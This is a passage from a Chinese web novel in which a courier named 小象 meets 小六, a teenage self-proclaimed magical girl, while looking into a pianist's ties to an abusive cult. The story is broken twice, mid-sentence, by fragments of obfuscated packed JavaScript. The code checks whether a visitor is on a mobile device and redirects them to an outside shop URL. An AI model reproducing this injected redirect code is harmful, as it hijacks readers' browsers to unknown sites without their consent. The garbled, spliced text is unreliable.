“收货人拒收,现在要回去处理退还手续了。”小象说着,在对方两米外站定,“我和你一起将货物送回仓库,走吧。” “拒收?”小一愣了下,也就这一下,她迅速和那些搬运工们说明了情况,没理会对方的好奇心,掏出车钥匙回头对小象说,“我明白了,走吧。” 小象点了点头,对这省心的同行感到满意。 回程路上车速依旧很慢,车内依旧很吵,电波依旧接收同一频道,小三的问答节目已经结束了,现在是摇滚音乐时间。小一没有换台,她似乎对频道内容本身没什么兴趣,只是习惯性地在车辆启动后将收音器的频道数字调到这里,等声音响到足够盖住部分机动车噪音,然后才能去挂挡。 音乐也不错,小象没有抱怨什么,但想起小二,她好奇道,“一般会有来宾反复来电吗?” “哦,你说小三的那个节目。”小一随意答道,“偶尔会有,但小三很少接,因为节目一共就两小时,回电的人会用感谢与问候占掉时间。” “好吧。”小象觉得有些可惜,她还挺好奇小二公司的事,但不出意外的话她再也不会见到那个人了吧。 “怎么了?”小一笑道,“你也想去当嘉宾?” “…我倒是没有问题能抱怨给主持人或司机听。”小象也笑了,“如果说,一次通话没能解决来宾问题的话,那不就应该还有下一次吗?” “那确实。”小一说道,“虽然不会在电台中连线,但小三会私下帮助那些没能解决疑问的人,然后在节目收尾的时候将其中一些结果说出来。” “…私下联系。”小象犹豫片刻,问道,“这是可以的吗?” “可能?”小一随意道,“不知道,我没当过电台主持人,但我们都觉得小三是个不错的人。” “我们。”小象顿了顿,“所以你也是?” “嗯。”小一应到,“需要她的联系方式吗?她还挺喜欢和我们聊本地生活的。” “…需要,谢谢。”小象点头,虽然她没有本地生活或者本地问题,但或许对方会愿意和她聊聊小二公司的事情呢? 货物箱被原封不动地送回了仓库一角,并被工作人员盖上用以遮挡灰尘的篷布,站在地上时就不需要考虑摇晃磕碰风险了,小象看着那被随意扎起的绳结,还是有些好奇这被拒收的钢琴长什么样。 “那么,很高兴为您服务,有缘再见吧。”小一与小象道别。 “再见。”小象招手。 回到酒店,小象将大致内容写进邮件并发送给发货方等待回复,根据对方自动回复邮件内容,通常这需要至少三四天。 完成工作,她顺带查询了一下自己所好奇的东西,也就是小四拒收那台钢琴的原因,这一查还让她发现了些熟悉字眼:几年前,某环球资源公司矿产业务因环境破坏过度遭到起诉,执行判决时业务负责人却在事发地失踪,于是惩治轮转到了其总公司的其它上级头上,管理部门合计后推出几个人担责,其中就有小四的母亲。 这位入狱之后,曾因其受惠的人大多选择了远离小四一家,至少那些生意上的合作伙伴以及亲戚选择了远离,但其原居住地周围居民的排异反应就激烈多了,事出不足一年的时间里小四就跟着自己的父亲搬了三次家。最后她们在那栋公寓楼定居,并不是因为那附近的人多友善,而是因为那次搬家后小四的父亲失踪了。没人知道这个人去了哪,或许是自杀,或许就只是受不了这个社会所以跑走了。 所以那个警察或许是在调查失踪这件事?小象若有所思,忽然又想起小四受伤的手臂,若是一个人被社会排斥那定是不喜欢出门的,那么,她待在家里又如何才能伤成那样呢? 网络上关于小四一家的信息大概就这些,更多的就只有大量带主观想法的揣测,针对小四的内容不多,就是不知道她本人对此感想如何了。 收起想法和电脑,小象准备出门吃晚饭,网友们也说了这儿附近有家不错的本地饭馆,去晚了就要排队。离开酒店时天色微暗,车流逐渐拥挤了起来,街道上也多出了些穿着校服的少年。 小象跟着导航走,不一会来到一条小巷入口前,这是一条近路,所谓抄近路很可能会出意外,她对此心怀好奇,于是毅然迈步。 穿过废弃板材与垃圾桶,就在小象遗憾这只是一条普通小路之时,意外降临于此。 “不许动。”被刻意压低,但显然属于少年人的声音突然从身后传来。小象刚才可一点没听到自己身后有脚步声,这着实是惊吓。 见对方真的一动不动,身后人靠近一步,问道,“你刚才去了小四家里?” “…跟踪狂?”小象疑惑,难不成那警察是在查这个? “我不是!”身后人声音一下子抬高了些,这一下就暴露了她的年龄,很快她又压低声音,威胁般说道,“你别乱说话,总之你刚才就是去了小四家里,你坐的货车,对不对?” 虽然确实是这样,但什么叫“坐的货车”?说得好像是小象打车不小心打到了辆货车一样,她欲转头,见她的动作身后那人反而更上前一步。 “喀嗒”熟悉的声音,小象记得自己从脑袋前面也听见过类似的,这是枪支子弹上膛的声音,但是,“你们国家不是禁枪吗?” “…这是魔弹发射器。”身后那人说。 小象沉默了。 “别不说话!”那人咬牙切齿地说,“你去找小四干什么的?” “送货。”小象回答。 “什么货?”那人追问。 “箱子里的货。”小象回答。 “箱子里有什么?”那人追问。 “大象。”小象回答。 “哦…”那人沉默片刻,忽然反应过来了一般说道,“怎么可能?!你当我傻吗?” “好吧…”小象叹了口气。 “她家里怎么可能摆得下大象?”那人继续道,“我可是见过她家的,你别想糊弄我!” “…嗯。”小象回答,“好吧,其实是台三角钢琴。” 身后那人沉默了,不知有没有接受这个答案,但小四家里确实也摆不下一台三角钢琴,那它和大象又有什么区别呢? “你是她的,朋友?”小象问道。 “…也,也不是啦。”那人居然不好意思了起来。 “那你怎么去过她家?”小象疑问,“果然你是——” “我不是!”那人强调,“这个你别管,总之我不是!” “我是想说,果然你是她的朋友吧。”小象可惜道,“原来不是吗?” “…你是不是在耍我啊?”那人疑惑道。 被发现了,小象没太遗憾,问道,“你找我到底是有什么事?” “她,小四她是怎么和你说的?”那人果然被带跑话题。 “就说家里放不下,而且自己不能弹钢琴,所以拒收了。”小象说。 “…你知道她为什么不弹钢琴了吗?”那人问道。 “你是在问我吗?”小象疑惑,“她的手受伤了。” “可不是因为这个!”那人强调说,“小四以前弹钢琴可厉害了,在小学就考完了证书,之前去国际比赛上拿过奖呢!要不是之前出了那破事,这个月她本来要去一个慈善晚宴上弹琴的。” 想起自己先前见到的憔悴人型,小象觉得她确实不太适合出席一场晚宴,身后那人没管小象怎么想的,自顾自滔滔不绝地讲起了小四的钢琴史,从小到大,从比赛到演出,从访谈到颁奖典礼,就这样听来,她似乎是小四的忠实粉丝。 “停,请停一下。”小象不得不打断对方,“你到底是来找我干什么的?” “…小四不该拒收那台钢琴的。”那人说,“如果说她以后还准备继续弹琴,那她至少自己需要一台用来练习,她现在家里可没有钢琴。” “…这样吗。”小象说,“我刚刚递交退货申请,她还有一周冷静期,不如你自己去劝劝她?” “我?!”那人匆忙摆手,小象都听见她手里那魔弹发射器的咔嚓声了,“不行不行,我不行的,我们之前都没说过话的!” 随后她一咬牙,低声说道,“你…你能不能帮我个忙?我想她一定是受到了什么打击,所以才会那样做的。她以前可说过自己要当钢琴家的,怎么能就这样放弃了呢?” “…我能说不?”小象疑惑。 那人犹豫片刻,又犹犹豫豫地说,“…不行!但是我可以给你报酬!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296757|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你零花钱很多?”小象好奇。 “不多…”那人语气低落了下来,又很快强调说,“不对啦,总之是很厉害的报酬,比你想象中的还要厉害!” “哦…”小象有些好奇了。 “你帮不帮?”那人问道。 “…我可以帮你,不过先说好,我口才一般。”小象说。 “…诶也行吧。”那人叹了口气,“那么,你转过来吧。” 于是小象转头,看到个和她差不多高的少年,看面孔这孩子顶多高中,卷而乱的头发被高高地束在脑后,配上那校服和挂着奇形怪状毛绒玩偶的巨大书包,小象刚才在街上见过至少十个和她差不多的。重点在于她的手持武器,小象低头,对方手里确实拿着一把被锯掉一半枪管的□□,不过因为那些宝石与花纹而失去了其该有的威慑力,更像一把做工过于精良的玩具。 “我是小六。”那人有些自得地转了转自己手里的枪,“这是裁罪者,我的好伙伴,如何?” 听那名字,小象觉得自己身上起了鸡皮疙瘩,但还是点头说,“很帅气。” “嘿嘿。”小六得意地笑了,一翻手,变魔术般地将裁罪者收起来了,双手握住书包带问道,“那,我们接下来去干什么?来拟定作战计划吧!” “去吃饭。”小象指了指巷子上空一线天说,“天色不早了,我本来就是要去吃饭的,要不今天你先回家吧。” “…那你跑了怎么办?”小六犹豫道。 “我给你留个电话?”小象说。 “…我没有手机。”小六小声说。 “…你多大?”小象郑重问道。 “我十五了!”小六拍了拍自己的领巾,“高一,不是初中生哦!” 这有什么区别,小象叹了口气,用商量的语气说道,“你不回家的话家里人会担心的,这样,明天放学时间我们再谈,我还有工作不能跑,而且你这么厉害总能找到我的,今天你先回家,怎么样?” 没说行不行,小六眯起眼睛盯了小象好一会,摸了摸下巴问道,“你今晚几点睡?” “…九点半。”小象忍不住问道,“你不会是要晚上跑出来吧?” “怎么这么早?”小六嫌弃道。 “我在倒时差。”小象说。 “好吧…”小六勉为其难地点头了,“那今晚八点我去找你,你在哪等我?” “不对,你别大晚上到处跑啊。”小象无奈道。 “还不是你现在要去吃饭!”小六谴责道,“而且你以为我晚上很闲吗?我晚上回去要写作业的!我们今天有三张卷子你知道吗?” “…不知道。”小象也不知道那是什么概念。 “而且我们家…”小六犹豫道,“总之我晚上可以出门,你别管。” 小象不想管,但不行,如果被警察发现她一个外国人大晚上带着个高中生在外面乱跑,鬼知道自己的出入境档案会被写上什么东西。 “…那就现在,我们现在谈谈吧。”小象商量着说,如果对方家里人不太管事,那让她晚点回家也比晚上出门要好。 “哦,也行,你不吃饭了吗?”小六问道。 “你和我一起去吧。”小象想了想,“庆祝我们合作,我请你吃饭。” 闻言,小六一愣,捏住书包带开始不知所措了起来,她左看看右看看,这巷子里也没啥好看的了,最后才看向小象,小声问道,“可,可以吗?” “反正我吃饭公司报销。”小象点头说。 “…那你们公司好好呀!”小六一下子有些羡慕了,“不像我姑姑…走吧走吧,我们吃什么呀?” 小象没对此公司评价给予回应,转身带头向巷子外面走去,“吃一家本地馆子,还是说你想吃快餐?” “不要吃快餐!”小六迅速摇头,不知道她怎么做到的,摇头时能把自己的马尾晃出残影。 二人抵达餐馆门口,因为小六的堵截行为,门口已然有几人在排队,小象倒是无所谓,但排队时,她听见小六的肚子叫了两声,考虑到她这个年纪的孩子确实很容易饿,小象让她在原地等,自己去隔壁冰淇淋店。 “您好欢迎光临,请问您需要什么?要尝尝我们家的新品口味吗?现在活动期间买一送一哦。”礼貌的问候声有些耳熟,小象抬头,微笑着的店员居然是小一,她换了副圆框眼镜。 “…辛苦了。”小象说。 “原来是送货员小象!”小一笑容没变,问候道,“我是冰淇淋店员小一,很高兴再次为您服务!” “好久不见,请给我一个蜜瓜的和一个巧克力的。”小象点单。 “好的,请问要旋风暴风还是龙卷风?”小一操作着显示屏问道。 小象低头一看,那是这家店专有的尺寸名词,她回答,“龙卷风。” “好的,需要打包吗?” “不需要。” “好的,感谢您的订单。”小一扯下小票递出,“这是您的小票请收好,您的商品准备好后店员会叫号,请稍等。” 小象接过小票,小一便回头去操作冰淇淋机,店里其实只有她一个人,所以叫号的人其实也是她。 “87号顾客,您的蜜瓜龙卷风与巧克力龙卷风做好了!”小一呼喊道。 “谢谢。”小象接过冰淇淋杯与纸巾,小一伸手在每杯冰淇淋上插了两根勺子,共四根塑料手柄直挺挺地竖在小象身前,不知道的还以为她朋友很多。 “不客气,欢迎下次光临!”小一礼貌完,又回收银台去服务下一位顾客了。 38. 魔法与信徒-上-3 回到餐馆附近,前方差一位就排到自己的小六正不安地东张西望,见小象回来了她明显松了口气,小象觉得好笑,就站在排队线外面说,“我再去买点喝的吧,你想喝什么?” “谢谢你但是我什么都不想喝!”小六赶忙侧身让开,“快回来快回来,要排到我们了。” 小象站在她边上递出巧克力的那一杯。 “谢谢!”小六双手接过,诚挚地感谢道,“还是大杯的,谢谢你!” “不客气。”小象心情有点好了,她捏起多出来的那根勺子四处看了看准备丢掉,但小六却把自己的那杯递了过来,恍惚间,小象领悟到了那额外餐具的用途,伸手挖了一勺巧克力味冰淇淋,是她没想过要尝试的味道,不过还不错。 小六就也挖了勺蜜瓜的,二人就这样你一勺我一勺吃起了冰淇淋。等到排队到号,小六已经用勺子刮起了空杯,但小象手里的还剩一半,她吃得不慢,是小六吃起冰淇淋像龙卷风在摧毁地面建筑一般迅速而毫不犹豫,她尝试性递出自己手里剩下半杯问道,“要不要这个?” “要!谢谢!”小六毫不在乎这是别人吃剩的,接过后直接叠在自己的空杯上,从餐馆门口到座位也就几步路,她就趁这段时间把半杯龙卷风吞噬干净了,又依依不舍地刮起了第二个空杯。 这是家人气相当不错的餐馆,二人落座于显然是临时被添加的一到二人桌上,连菜单都很难被完整摆开,小象也不清楚这高中生食量如何,就按照三人份点了菜,她问小六要不要别的,对方就扭捏地摇头,一点不见刚才威胁别人不要动的样子。 等菜期间,小六主动提起了关于小四的事情。 “其实,我是知道一点她为什么不再弹琴了的。”她有些犹豫,左看看右看看,凑到桌子中间小声说,“我觉得是因为她们家里的事。” “也可以理解。”小象点头,“她的手也是因为家里的事情受伤的吗?” “是,但是与她搬家的原因不太一样。”小六顿了顿,随后下定决心开口道,“她们家一直在信一个邪教。” “…还有这种事。”小象意外道。 “是一个以‘宇宙虚无主义’为中心的教派,规模还挺大的,在这个国家到处都有教堂。中心思想是地球的天空之外没有任何东西存在,太阳与月亮是虚假的,宇宙是虚无的,天文学就是诈骗,国际空间站带回来的照片是骗人的,为的就是诈骗纳税人并且增强民族认可什么的。”小六头头是道地说,“教团主张神就深埋地下,倡导教徒们要脚踏实地地遵行教条,不要考虑那些过于遥远的东西。” 小象听着觉得这还挺实在,就问道,“教条是什么呢?” “…是人类要替神受苦。”小六说,“这个教派认为人类只要活着就是在受苦,神在等待苏醒的那天,所以我们不能逃避,甚至要主动面对,因为我们受苦是在替深埋地下的神受苦,这是光荣的,神都能感受到,死后灵魂会回到神的身边。等人类的使命完成了神就会醒来,这个世界就再也不会有痛苦存在了。” 说完,她再次看了看周围,眼神复杂地说,“这个教团会对新入会的成员实施两周的孤立仪式,被监视着不让和别人说话什么的,叫做‘苦海洗礼’,之后才算正式成员。成员还要定期‘受苦’,什么样的形式都有,交钱,挨打,当众大声忏悔。” 小象不知道该说什么,这条件太恶劣了,她完全不知道为什么会有人加入这个教团,小四看着也是个能正常交流的正常人,完全不像是有受虐倾向。 “自从2000年之后这个教派的行动就隐蔽了许多,也没什么新人了,但是…”小六看向桌面,“但是原先的教徒几乎都没有走,甚至更忠诚了,她们认为道德法庭的作为更是证明了她们的神是存在的,并且一定比她们更加伟大。” “你很了解嘛。”小象说。 “…因为我也曾经是那个教团里的人。”小六笑了笑,“我出生时就经受过那个洗礼了,因为我爸妈,她们可信这玩意了,差点不让我去上学。” 她挠了挠自己的头,又说道,“不过,她们都进去了。” “被抓了。”小象不太意外,这个国家普遍重视教育,谁家小孩到了年纪没上学肯定会被人发现的。 “嗯。”小六咧嘴,“被我姑姑。” 小象这下有些意外了。服务员带着推车来到桌边,将几盘菜端上桌后发现摆不下,就把推车留下当作边桌。小六见上菜眼睛都亮了,声调也高了许多,“也是姑姑一直在照顾我,她是很厉害的警察哦,原来她成绩就一直很好,现在身手也很好了。” 说起警察小象就想起小五,但世上哪有这么巧的事?“你的姑姑是哪种警察?”她问道。 “是刑警!”小六有些骄傲地说,“破了好几个大案子呢,有时候还要出差去别的地方破案,我去过她们警察局哦,她的照片老大一张了,大家都说我姑姑很厉害的。” “嗯嗯。”小象放下了一点心,“那这件事也应该去找你姑姑谈谈,她应该有经验了。” 闻言,小六却是沉默地停下了筷子,过了会才有些扭捏地说,“我的姑姑她,不太希望我接触这样的事情。” “你确实不该。”小象点头。 “我们不是合作伙伴了嘛!”小六抗议道。 “那不如这样。”小象想了想,“我假装无辜群众凑巧遇到邪教徒,去把这件事告诉你姑姑如何?” 小六没有回答,小象以为她是在担心自己被发现,便又想了想说,“我发现什么都不奇怪,你的姑姑也想不到我们能遇到吧。如果说小四是因为宗教迫害而放弃弹钢琴,那么在你姑姑去干涉之后,小四就没有后顾之忧了。” “...是这样的。”小六犹豫地开口道,“在这件事上,我的姑姑她,做法还挺强硬的。而且和我那时不一样,小四她已经是个成年人了...” “你觉得你姑姑她也会把小四给抓进去。”小象说。 小六一边点头一边说,“之前我就知道她一直在调查小四的爸爸,现在人失踪了她却还是在追查,明显是在怀疑她本人呀!” “...如果,我是说如果。”小象委婉道,“万一小四确实是邪教徒呢?” “那我们去把那个邪教的基地消灭不就可以了?”小六理所当然地说,“小四不会继续被怀疑,这里也不会有更多的教徒出现,姑姑说不定还能顺便放假,哇...一举三得呀!” 小象看了看左右,指了指自己,问道,“我们?” “我们!”小六点头。 “...其实...”小象委婉道,“其实不是每个大人都像你姑姑那样...” “没关系!”小六摆了摆手,“有我在,我们一定可以的!” 她这话说得过于理所当然,让小象忍不住疑惑地看向小六,却发现桌上三人份的食物不知何时都快被她吃完了,但每个餐盘都留了大概一人份的量。明明刚才说话的大多是小六才对,小象又疑惑地举起了筷子。 宗教向来有自己的一套规矩和理论,按照小六的说法,将教堂给砸了这些东西就会消失了吧,可历史已经证明了这行不通。小象不知道小六是从哪得来的自信,但也不打算再反驳什么,反正她不觉得这能行得通。 “我明白了。”小象叹了口气,“我会尽量帮上你的忙的。” “谢谢你!”小六笑了。 趁小象动筷子,小六又讲起了小四钢琴弹得多美妙,言辞间充满羡慕与憧憬,她撑着脑袋说,“我自己也弹过钢琴呢,光是要一边看曲谱一边弹琴就很难了...还要考虑节奏什么的,真是会难为人的乐器。” “而且你还得写作业。”小象补充道。 小六沉默片刻后笑了,“可不就是这样吗。” 饭后城市已彻底落入黑夜,出于一个成年人的自觉,小象决定将小六送回家,路上途径先前二人遇上的巷口,她笑道,“说起来,如果当时我没有接受你的要求,你会怎么做?” “嗯…”小六认真地考虑了一下,然后说道,“我应该会让你失去那段记忆吧。” “…要怎么做?”小象好奇。 “用魔法。”小六有些迫不及待地回答。 小象沉默片刻,二人就这样又往前走了两步,小六抬眼看来,那小心翼翼的眼神让她意识到小六居然是认真地那样回答她的。 “…用什么样的魔法?”小象问道。 “还没想好。”小六想了想,“让大脑失去一部分信息的魔法…算了,就叫失忆魔法好了。” 她是认真这样说的,小象看向对方仔细思索着的神色,虽然早有预感,但她现在才正视这个问题:小六似乎有些沉迷于幻想世界了。 “魔法。”小象重复。 “魔法。”小六点头,她一拍自己的领巾,用轻而自豪的声音自我介绍道,“我其实是魔法少女哦。” 说完,她就看着小象,等待对方做出回应。 回应,小象迷茫地想,这里该回应些什么才好呢? 二人所在的街道已然没了先前的忙碌,但还是偶尔有行人路过,人流不止,于是驻足于原地的她们便不可避免地被视为了挡路的存在,暂时还没人站出来推搡或呵斥,但视线就足够令她们意识到些什么了。 于是小六退后一步,站进了巷子的阴影里,同在夜幕下,这里就是更黑一些。 “…魔法少女是什么?”小象这样问道。 “你不知道吗?!”小六震惊道。 “我应该知道吗?”小象反问,“如果你是说漫画或者冒险故事里的那种,那我确实——” “就是那种。”小六点头,“就是那种能变身,使用魔法,消灭邪恶魔物然后维护世界和平的魔法少女。” 小象真不知道该说什么。 “…你不信吗?”小六皱眉。 “我该信吗?”小象叹了口气,问道,“魔物,如果世界上真的有这种东西的话——” “真的有哦。”小六摊手,艰难地解释道,“但是,魔物吃什么就长什么样,所以对于你们而言,看上去和普通动物没有区别吧。” “…那。”小象委婉道,“或许那就是普通动物呢?” “普通动物哪会用魔法?”小六忍不住笑了。 “我确实没见过。”小象点头。 见小象不信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她就这样疑惑地看向小象,好像发自真心地在问“你为什么不信”,可小象还是无法相信对方的说辞,她并非是在否认这世上存在超乎寻常的存在,只是,如果随便一个学生跑过来和她说“其实我是外星人哦”她都能信的话,那她也活不到现在了。 “没有什么能让我看看的魔法吗?”小象继续问道。 “…你转过身去的话,我就能使用魔法。”小六说道。 “有没有更直观一点的东西呢?”小象问道。 “裁罪者你不是已经见过了?”小六说。 “你说那把——”小象顿住,没有把“玩具枪”三个字说出口,因为小六看着她的眼神已经带上了恍惚的距离感,那些问题将她往远处推去了,因为越是发出疑问,不信就越是凝实,那本透明的隔阂墙也越发不可忽视。 沉默片刻,小六开口道,“…没关系,没关系。”她抓住自己的书包带喃喃自语,又抬头笑道,“我总能让你相信我是魔法少女的,没有魔法的话,两个普通人可没法解决那个教团。” 说完,她转身朝巷口外走去,小象跟上了,二人又回到街道上,与人群一同前行。 她这样说,那小象就该回答“我相信你”之类的话,但她即没想过要靠她们俩解决一个宗教团体,也没想过要和魔法少女携手共进。看着小六笃定的眼神,小象不禁好奇她为何会变成这样——无论小六是不是魔法少女,她会产生这样的想法,无论怎么想都和童年时作为教徒的经历有关系吧。 “我会想办法查查那个教团的。”小象答道。 “交给你啦!”小六满意地点头,“虽然说我小时候也参加过聚会,但我根本不记得小四在的教会了,只记得那些人讲的那些有的没的…” “小四会知道吗?”小象好奇。 “…可能吧。”小六有些担心,“不,她肯定知道的…” 她沉默片刻,又开口道,“其实,我一直怀疑她的手受伤就是因为教团。我姑姑她捣毁过几个这教派在其它城市的聚会地点,每次都能搜出刑具。” “刑具?”小象忍不住皱眉,根据这个教团那莫名其妙的教条,这刑具想来不会是什么摆设。 “…其实我小时候也被打过。”小六反手摸了摸自己的背,“会有人用鞭子抽和用针扎我们这种小孩的,不过现在我已经不记得什么了。这种事你问我还不如问我姑姑,她每次搜查都在一线,也负责审问。” “要是能直接从她那里问来信息那最好,但我总得找个理由。”小象想了想,问道,“你姑姑好说话吗?” “…完全不。”小六肩膀抖了抖,又窃笑起来,“本来我放学就得尽快回家的,但她最近加班呢嘻嘻。” 谈话间,二人又走过几个路口,绿灯当头,眼看就要到家,小六却在斑马线前停顿了下来,走在她身后的小象差点撞上书包,她疑惑地绕出头来看,发现马路对面站这个有些熟悉的人影。 是小五,大概是下班了,她在警服外裹了层风衣,但有的人就是有这样的天赋,就比如警察小五,无论何时往路口一站都和在上班似的,有她在,过马路的非机动车都不敢踩斑马线了。 “…今天她不是要加班吗…”小六咬牙切齿的声音传出,在小象缩回她书包后面之前,小五的视线已如闪电般刺来,她本人也是。 被发现了,小象叹了口气。 39. 魔法与信徒-中-1 当那身影站定在二人身前,人行指示已然变为红灯,小五的眼神从小六满是冷汗的脸转移到小象移开的视线,定格,开口道,“你为什么在这里?” 小象也想问这个问题,“我…” “我,我想着在外面吃了晚饭再回家呢。”小六低着头,还以为小五是在问她,声音相当心虚,“不小心就忘记时间了,我,我马上就回家写作业!” “…你的事回去再说。”小五没给小六留情面,把她拽到一边露出小象,冷声问道,“我问你,你为什么会出现在这里。” 闻言,小六疑惑地抬起头看向小象,又看向小五,动作在说原来你们认识啊。 “…饭后散步?”小象回答。 “这里距离你住的酒店已经超出常规步行距离。”小五不友善提醒,“而且,为什么是和她?一个高中生,无论在哪个国家都没有这样的习俗吧。” 当然没有,而小象也不因任何“习俗”行动,她活得很标准。 闻言,小六慌忙抬头开口,“是,是我——”但小五眼珠转过去之前,她就收敛了自己的声音。 “巡警还管这种事?”小象问道。 小六转头。 “事关公共安全我就要管。”小五皱眉,“正面回答我的问题。” 小六低头。 “…为感谢热心高中生推荐我本地美食,我送她回家。”小象回答。 “哼。”小五嗤笑一声,“看得出来,你擅长应付我们这种人。” “哪里哪里。”小象不好意思地笑了笑。 小六抬头,“其实…” “你为什么会主动和她搭话?”小五的视线转向,“我不是和你说过不要和陌生人聊天?她看着还不够可疑?” 小六的头又灵活地垂了下去。 “…我怎么就可疑了。”小象试图为自己正名,“之前我就想问了,请问你到底在怀疑我什么?” “…”小五不说话,但眉头越皱越深。此乃愤怒的征兆,小六明白了,这时候她必须站出来! “不,不要吵架!”小六站了出来挡在二人之间,她觉得自己声音特别大,但一旁马路上恰巧有车辆变道前不打转向灯,此起彼伏的鸣笛声迅速盖过了她的喊话。 小五张嘴想说什么,但又被风衣口袋里的手机振动打断,她迅速接起,那鸣笛声又自觉地安静了下来。“…我明白了。”她答复后收起手机,转向不知何时亮起的绿灯,“走,先回家。” “哦,好!”小六迅速跟上,回头招手,“我回去啦!” “拜拜。”小象也招手。 “你也过来一趟。”小五回头,“如果你不想过几天被我叫去做笔录,就趁现在把事情说清。” 总之,小象有幸被邀请去当地热情民众家中作客了,可喜可贺! 打电话给小五让她回家的是她抵达楼下的外卖,两个大手提袋被外卖员拎出保温箱,油炸快餐香气飘出,小五拿一袋,小六自觉上去接过了另一袋,小象抱起塞了六杯冷饮的纸托,对带着头盔的小一说,“辛苦了。” “好巧啊,送货员小象,巡警小五。”戴着护目镜的小一微笑道,“很高兴为你们服务,请确认餐点,如有疑问请随时致电,那么我先走一步,期待二位下次光临!” 随后她骑上电瓶车离开了。 小象目送,随后回头道,“原来你们家那么多人,我贸然打扰会不会不太好。” “别找借口了,跟上。”小五已经转身走了。 “…其实,我们家就我们俩。”小六小声说。 “哇哦。”小象大惊小怪了一下,“那你们对宠物可真好,不巧我其实对狗毛过敏——” “跟上。”小五重复。 “…我们家也没有宠物。”小六小声说,“其实…是我吃得比较多。” “没事,你正长身体呢。”小象不意外,“我听说你们这个年纪的孩子在一个成长周期能吃空一个屠宰场。” “哪有啦!”小六笑了,又问,“还是说是禽类的吗?” “…我没听说到这部分。”小象没说自己其实在开玩笑。 “跟上。”小五回头,“快点。” 于是小象有幸拜访热情本地人的家,也没那么热情,进屋后拖鞋都要小象自己掂起脚拿,她将自带的茶水——虽然不是她付的钱,摆上餐桌,顺势看向半开放式厨房,该有的锅碗瓢盆电器都有,但也仅此而已了,空荡荡的调料柜更是证明了一旁电磁炉之所以干净是因为使用频率低。清洁用具倒是很多,相应的,屋内很干净,沙发上没有抱枕,地上没有地毯,冰箱门上没有冰箱贴,外套衣架上没有衣服。 三人坐上餐桌,没人打话头,小五抱臂不动,显然是没打算吃点什么,但另外两个都已经吃过了,小象莫名有些心虚地看向小六,却发现她已经摸出一个汉堡吃了起来。 “嗯?”小六咽下嘴里的食物,“你们说话呀?” 小象不想说话,她从那袋子里掏了掏,发现居然有一杯冰淇淋在,她觉得自己也该吃点什么来让自己看上去很忙,但这个念头似乎被小五发现了,她看了过来。 “…那个是姑姑要吃的。”小六小声说。 “哦我的天呐。”小象赶紧放开了手里的杯子,用平静无波的声音宣读,“瞧瞧我都干了什么,差点就要成为不受欢迎的客人了啊小象。” “…你吃。”小五说。 “我怎么敢——” “要我喂你?”小五冷笑一声。 “怎么敢的。”小象摸出了两根勺子,“需要分享一些吗?” 小五刚说不用,小六就伸手摸过了一根勺子。 那一瞬间,小六在思考怎么用魔法让手里的勺子消失,让勺子消失的魔法…就叫做小型爆炸魔法好了! “…你赶紧吃,吃完去写作业。”小五冷漠地说。 “…哦。”小六低头,又抬头,“你们怎么不说话?” “等你吃完。”小五直言。 “我也想听。”小六说。 “我工作上的事。”小五说。 “…所以我才要听的。”小六说。 “你皮痒了?”小五皱眉。 闻言,小六双肩一耸,但很快她就下定了决心,放下汉堡,看向小五真挚地说,“…姑姑,听我说,其实我是魔法少女。” “你不是。”小五连一秒都没犹豫。 餐桌停顿了好一会,小象无趣地刮了刮杯子,她当然是故意的。 “我是!”小六坚持道,“我就是魔法少女!我会用魔法击败魔物,保护这个世界!” “你不是。”小五也坚持得理所当然,“你是一个高中一年级的学生,下周有月考,上次你的班主任和我谈过你数学成绩有所下降,你最好赶紧去学习。” “那,那是因为数学会打扰——”小六一咬牙,又说道,“我高一开学你都没去,家长会也没去!班主任凭什么和你说我的事情?!” “就因为我是你的监护人,我有义务知道关于你的一切,并告诉你哪些东西是错的。”小五平静地回答,仿佛对“魔法少女”这一名词毫不在意。 “你觉得我当魔法少女是错的?!”小六站了起来。 “你不是魔法少女。”小五重复,“你是一个高中一年级——” “明明除了我以外这里没有别的魔法少女了!”小六抽了抽鼻子,“明明我那么努力地与魔物战斗了!” “…你们班主任也向我反应了你翘晚自习的问题。”小五皱眉。 “那是因为——” “小六。”小五连名带姓地喊小六的名字,“你现在唯一的身份就是学生,明白了吗?你有自己的爱好是正常的,但不该干涉到你正常的生活,那才是你立足的根源,而不是魔法之类的玩意。” 她转头,看向小六说,“我这周六预约了青少年心理咨询师,到时候你可以和她谈谈。” 小六哑然,她眼里还淌着泪,心中的情绪就已然走向了愤怒,她一点点握紧自己的手,“我不是神经病!”她这样呵道,转身冲进了自己房间,重重地甩上了门,那是一声巨响,堪比断头台落刀。 小象放下空了的冰淇淋杯,转眼去看小五的表情,她没有表情,将头从门前转过来的样子也平静,她看向空了的杯子和剩一半的汉堡,站起身走向阳台,说道,“出去聊。” “不收拾下食物吗?”小象问道。 “明天早上就会消失了。”小五说。 那这户人家里果然有在养小动物,小象没说什么,起身跟出了阳台。 这里也没什么风景可看,这座城市周围没有山,于是无论从哪里看都是一样平平无奇的,人建筑人车人道路人路灯人垃圾桶人,只不过在夜里多了几个光源,就突然能被称为美景了。 小五靠在栏杆上,伸手摸进口袋,小象还以为这人要抽烟,结果她掏出来一根棒棒糖夹在手套指间,用牙扯开包装纸丢进垃圾桶里。 “在杜绝二手烟这点上你还挺照顾她。”小象笑道。 小五侧头,除了差一点火光,她看上去和抽烟的人也没什么区别,“我不需要那种东西。”她说,又看向远处,“无论她之前和你说过什么,你当故事听就好。” 小象沉默片刻,小五又补充说,“她刚上学那会有天从学校的楼梯上摔了下来,有点脑震荡,后来就一直不愿意与周围人交流,过了几年愿意开口了又开始说些奇奇怪怪的话,你最好别把那些话记在心上。” “你说魔法少女?”小象问。 “任何。”小五回答。 “那就以魔法少女为例吧。”小象问,“你是不相信她,还是不相信魔法少女?” 